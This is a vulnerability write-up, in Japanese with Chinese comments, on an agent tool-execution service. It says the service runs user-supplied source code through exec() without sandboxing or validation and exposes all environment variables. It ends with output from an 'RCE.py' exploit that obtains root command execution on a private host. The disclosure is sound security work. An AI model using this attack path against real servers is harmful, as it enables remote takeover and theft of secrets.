
問題: システムは、ユーザーが提供したソースコードに対してセキュリティチェックを一切行いません。
証拠:
generate_execution_script
メソッドはユーザーコードを実行スクリプトに直接挿入します:
python
code += "\n" + self.tool.source_code + "\n"
危険な操作(os.system、subprocess.call、evalなど)を検出するAST解析がない
インポート制限やモジュールのホワイトリストがない
問題: exec()を直接使用してユーザーコードを実行し、グローバル辞書に環境変数が含まれています。
証拠:
python
globals_dict = dict(env) # 环境变量直接暴露给用户代码
exec(code_obj, globals_dict)
問題: 機密情報を含むすべての環境変数がユーザーコードに公開されます。
証拠:
python
env = os.environ.copy() # 复制所有系统环境变量
env_vars = self.sandbox_config_manager.get_sandbox_env_vars_as_dict(...)
env.update(env_vars) # 添加沙箱环境变量
問題: privileged_toolsメカニズムは回避される可能性があります。
証拠:
python
if tool_settings.e2b_api_key and not self.privileged_tools:
# 使用e2b沙箱(相对安全)
else:
# 使用本地沙箱(不安全)
組織がprivileged_tools=Trueを設定している場合、またはe2b APIキーが設定されていない場合、システムは安全でないローカル実行にフォールバックします。
問題: ユーザーが入力したソースコードに対して、検証やサニタイズが一切行われません。
証拠: ToolRunFromSourceモードは任意の文字列をソースコードとして受け入れます:
python
source_code: str = Field(..., description="The source code of the function.")
例如:
python RCE.py -u http://192.168.63.131:8283/
[+] 命令执行成功:
uid=0(root) gid=0(root) groups=0(root)
python RCE.py -u http://192.168.63.131:8283/ -c whoami
[+] 命令执行成功:
root